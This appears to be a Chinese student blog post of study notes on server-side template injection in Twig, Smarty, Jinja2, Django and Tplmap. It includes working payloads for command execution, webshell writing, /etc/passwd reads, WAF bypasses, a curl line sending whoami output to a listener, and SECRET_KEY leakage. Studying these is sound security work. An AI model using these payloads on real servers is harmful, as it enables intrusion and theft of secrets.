SSTI(Server-Side Template Injection)模板注入的初学习

前言

就注入类型的漏洞来说,常见 Web 注入有:SQL 注入,XSS 注入,XML 注入,代码注入,命令注入等等。注入漏洞的实质是服务端信任了用户的输入,未过滤或过滤不严谨执行了拼接了用户输入的代码,因此造成了各类注入。,这是SSTI的初学习,主要是Python的FlaskSSTI的学习和PHP的一些SSTI学习,PHPTWIG搭不好,只能看别的师傅的博客

什么是SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection)

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎

Php中的SSTI

TWIG

常用PayloadTWIG 全版本通用 SSTI payloads - 先知社区 (aliyun.com)

{{'/etc/passwd'|file_excerpt(1,30)}}
​
{{app.request.files.get(1).__construct('/etc/passwd','')}}
​
{{app.request.files.get(1).openFile.fread(99)}}
​
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
​
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
​
{{["id"]|map("system")|join(",")
​
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
​
{{["id",0]|sort("system")|join(",")}}
​
{{["id"]|filter("system")|join(",")}}
​
{{[0,0]|reduce("system","id")|join(",")}}
​
{{['cat /etc/passwd']|filter('system')}}

Smarty

模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {name},然后调用 Smarty 的方法传递变量参数即可。

Smarty的搭建

下载链接:https://github.com/smarty-php/smarty/releases?page=2

用的是小皮搭建的,php版本是7.3.4

下载源码后引入一下Smarty.class.php文件

一个简单的demo

<?php
// error_reporting(0);
include_once('./smarty-3.1.44/libs/SmartyBC.class.php');
$s = new Smarty();
$aa = $_GET['cmd'];
$s -> display("string:".$aa)//string标签是用于输出一段指定的字符串。
​
?>

我们可以尝试随便输入一些东西

image-20230702190502681

再试着传入{phpinfo}

image-20230702190515784

为什么会直接把phpinfo()函数执行了

首先了解一下smarty里{}的作用

  • 输出变量

  • 执行内置函数

  • 控制语句

  • 宏定义

  • 模板注释

也就是说我们通过控制了输入的参数的内容,而且没有被过滤,所以被当作函数执行了,我的理解是可以当eval()函数使用了,而这是字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,产生了SSTI

Smarty里的SSTI

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function),限制了语言并不一定能阻止我们执行命令

Smarty里有静态方法提供给我们使用

getStreamVariable()

在smarty/libs/sysplugins/smarty_internal_data.php文件中我们可以找到这个方法

public function getStreamVariable($variable)
{
        $_result = '';
        $fp = fopen($variable, 'r+');
        if ($fp) {
            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                $_result .= $current_line;
            }
            fclose($fp);
            return $_result;
        }
        $smarty = isset($this->smarty) ? $this->smarty : $this;
        if ($smarty->error_unassigned) {
            throw new SmartyException('Undefined stream variable "' . $variable . '"');
        } else {
            return null;
        }
    }

这个方法的作用就是通过fopen打开文件拼接到result中返回结果否则就返回null

所以我们就可以通过self调用静态方法构造:{self::getStreamVariable("file:///etc/passwd")}

还有Smarty_Internal_Write_File 这个类中有一个writeFile方法可以用来写Webshell:{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?phpeval($_GET['cmd']); ?>",self::clearConfig())}

但是是有局限性的,这个些静态方法只适用于老版本的smarty,而新版本使用会报错,并且在3.1.30的Smarty版本中官方已经把该静态方法删除。

一些常规的利用

{$smarty.version}

查看版本

{php}{/php}

Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。

但是因为在Smarty3版本中已经废弃{php}标签,在Smarty 3.1,{php}仅在SmartyBC中可用。

例:{php}phpinfo();{/php}

{literal}

php5可用,可以让一个模板区域的字符原样输出,经常用于保护页面上的javascrip或css样式表

例:<script language="php">phpinfo();</script>

{if}{/if}

{if phpinfo()}{/if}

Smarty的{if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}

Smarty里的CVE

https://xz.aliyun.com/t/11108#toc-5

Blade

https://www.cnblogs.com/sgm4231/p/10283661.html

Python中SSTI

Jinjia2

搭建环境

#导入包
from flask import Flask, request
from jinja2 import Template
#实例化一个Flask类,其中的参数 name 可以替换为其他任意字符串,可以把这句代码使用Flask模板为固定语句
app = Flask(__name__)
#这里是在设置页面内容,r0te装饰器起到路由的作用,简单来说就是将页面与函数绑定在了一块,对应此处代码可以这样理解:app.r0ute的参数为"",即访问页面”""时会自动执行随后定义的index函,我们看到的页面则是return返回的结果(此处返回的值是"hel10"所以页面上只会出现一句字符串he10,当然也可以返回一个html文档债得页面看上去跟符合我们平常所见)
​
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
#也可以使用render template string函数来返回一个字符串到页面上,即return render template string("hello")等价于retumn "hello'
#t = Template("hello" + name) 这行代码表示,将前端输入的name拼接到模板,此时name的输入没有经过任何检测
    t = Template("Hello " + name)
    return t.render()
#if__name__ == "__main__"这个判断条件意为当前代码不是被导入时为真,当然这个判断条件只是一个良好习债的要求,对我们在此处示范并不是必要的
​
if __name__ == "__main__":
    app.run()

image-20230702190535856

image-20230702190544321

可以修

from flask import Flask, request
from jinja2 import Template
​
app = Flask(__name__)
​
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
​
    t = Template("Hello {{n}}")#直接固定了模板,在模板渲染之后传入数据
    return t.render(n=name)
​
if __name__ == "__main__":
    app.run()

image-20230702184106452

代码基础

__dict__   :保存类实例或对象实例的属性变量键值对字典
__class__  :返回一个实例所属的类
__mro__    :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
// __base__和__mro__都是用来寻找基类的
__subclasses__  :以列表返回类的子类
__init__   :类的初始化方法
__globals__     :对包含函数全局变量的字典的引用__builtin__&&__builtins__ 
:python中可以直接运行一些函数,例如int(),list()等等。                  这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  在py3中__builtin__被换成了builtin                  1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

class

class是类中的一个内置属性,值是该实例的对应的类。这里使用的是''.class,得到的则是空字符串对应的类,也就是字符类。这样操作的意义是将我们现在操作的对象切换到类上面去,这样才能进行之后继承与被继承的操作,所以这里可以选用其他数据类型再来调用class属性,效果是一样的(例如[].class、{}.class、True.__class等)。

base

base也是类中的一个内置属性,值当前类的父类,而在python中object是一切类最顶层的父类,也就是说我们可以过上一步获取到的类往上获取(一般数据类型的上一层父类中便有object),最终便会获取到object,而由于object的特殊性,我们便能从object往下获取到其他所有的类,其中便有着能实现我们读取flag功能的类。(其他类似功能的还有basesmro,但返回的数据包含类的元组,所以还需要下标选定object类)

image-20230702182957759

subclasses

subclasses ()是类中的一个内置方法,返回值是包含当前类所有子类的一个列表,通过上一步获取到的object我们实现了向下获取,接着我们需要在这些子类中获取合适的类(下方截图只展示了一部分)。不一定是所有类里都有init方法或者globals方法,可以用脚本跑,而向下面我贴出的常用payload中subclasses()[]大括号里调用的是第几个类,每个人python环境不一样类在的地方就不一样

{{''.class.base.subclasses()[80].init.globals['builtins'].eval("import('os').popen('type flag.txt').read()")}}

image-20230702183035288

init

init是类中的内置方法,在这个类实例化是自动被调用,但是返回值只能是None,且在调用是必须传入该类的实例对象。如果我们不去调用它,此时我们获得的是我们选取的类中的init这个函数。由于python一切皆对象的特性,函数本质上也是对象,也存在类中的一些内置方法和内置属性,所以我们可以执行接下来的操作。

builtins

选中"builtins"模块,在这个模块中有很多我们常用的内置函数和类,其中就有eval函数

''.class.base.subclasses()[80].init.globals['builtins'].eval("import('os').popen('type flag.txt').read()")

如在前面所说,此处就是利用eval函数,eval函数将参数字符串当成python代码执行。import相当于import,区别在于import引入模块后我们可以直接使用符号"."在引入带后面调用模块中的函数。popen函数返回结果是一个object,所以还需要read方法将结果读取出来,至于system函数我们试着只能看到执行结果状态码,所以不考虑使用。

一些Payload

{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}}
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].open("flag.txt").read()}}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("type flag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

这个payload要求选取一个通用的合适的类(比如这个"catch_warnings"),保证不同设置下Flask都能获取到这个类

{{config.__class__.__init__.__globals__['os'].popen('type flag.txt').read()}}

python3已经移除了file。所以利用file子类文件读取只能在python2中用。

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

查类脚本

os

上面的实例中我们使用dir把内置的对象列举出来,其实可以用globals更深入的去看每个类可以调用的东西(包括模块,类,变量等等),如果有os这种可以直接传入命令,造成命令执行

#coding:utf-8
search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass 
    

image-20230702184939468

所以可以构造:().class.bases[0].subclasses()[152].init.globals['os'].system('whoami')

image-20230702185018493

builtins

#coding:utf-8

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        # print(i.__init__.__globals__.keys())
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

image-20230702185040431

构造如:().class.bases[0].subclasses()[215].init.globals'builtins'("import('os').system('whoami')")

image-20230702185145682

绕WAF

过滤[

#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号

#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤下划线

{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤花括号

#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}         //popen的参数就是要执行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

Tornado

https://www.cnblogs.com/cimuhuashuimu/p/11544455.html

Django

漏洞代码:

def view(request, *args, **kwargs):
    template = 'Hello {user}, This is your email: ' + request.GET.get('email')
    return HttpResponse(template.format(user=request.user))

很明显 email 就是注入点,但是条件被限制的很死,很难执行命令,现在拿到的只有有一个和user有关的变量request.user ,这个时候我们就应该在没有应用源码的情况下去寻找框架本身的属性,看这个空框架有什么属性和类之间的引用。

后来发现Django自带的应用 "admin"(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

image-20230702185509813

所以可以通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。

payload如下:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Tplmap

Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

主要就是探测注入点

python - u 接'url'

注shell

python -u 'url' --os-shell

Usage: python tplmap.py [options]
 
选项:
  -h, --help          显示帮助并退出
 
目标:
  -u URL, --url=URL   目标 URL
  -X REQUEST, --re..  强制使用给定的HTTP方法 (e.g. PUT)
 
请求:
  -d DATA, --data=..  通过POST发送的数据字符串 它必须作为查询字符串: param1=value1&param2=value2
  -H HEADERS, --he..  附加标头 (e.g. 'Header1: Value1') 多次使用以添加新的标头
  -c COOKIES, --co..  Cookies (e.g. 'Field1=Value1') 多次使用以添加新的Cookie
  -A USER_AGENT, -..  HTTP User-Agent 标头的值
  --proxy=PROXY       使用代理连接到目标URL
 
检测:
  --level=LEVEL       要执行的代码上下文转义级别 (1-5, Default: 1)
  -e ENGINE, --eng..  强制将后端模板引擎设置为此值
  -t TECHNIQUE, --..  技术 R:渲染 T:基于时间的盲注 Default: RT
 
操作系统访问:
  --os-cmd=OS_CMD     执行操作系统命令
  --os-shell          提示交互式操作系统Shell
  --upload=UPLOAD     上传本地文件到远程主机
  --force-overwrite   上传时强制覆盖文件
  --download=DOWNL..  下载远程文件到本地主机
  --bind-shell=BIN..  在目标的TCP端口上生成系统Shell并连接到它
  --reverse-shell=..  运行系统Shell并反向连接到本地主机端口
 
模板检查:
  --tpl-shell         在模板引擎上提示交互式Shell
  --tpl-code=TPL_C..  在模板引擎中注入代码
 
常规:
  --force-level=FO..  强制将测试级别设置为此值
  --injection-tag=..  使用字符串作为注入标签 (default '*')

JavaSSTI

velocity

FreeMarker

结语

留个坑,现在才刚刚基本算是结束学Web之旅的PHP体系,这个暑假开始刷题攒经验,过后开始进军Java等语言,学Web的旅途仍有很长的路要走

参考链接

SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

SSTI(模板注入)--Flask(萌新向)

Smarty 模板注入与沙箱逃逸-安全客 - 安全资讯平台 (anquanke.com)

(39条消息) Tplmap的安装与用法(内包含解决缺少库报错的处理教程)_小 白 萝 卜的博客-CSDN博客

还有看过的可能忘记了,私密马赛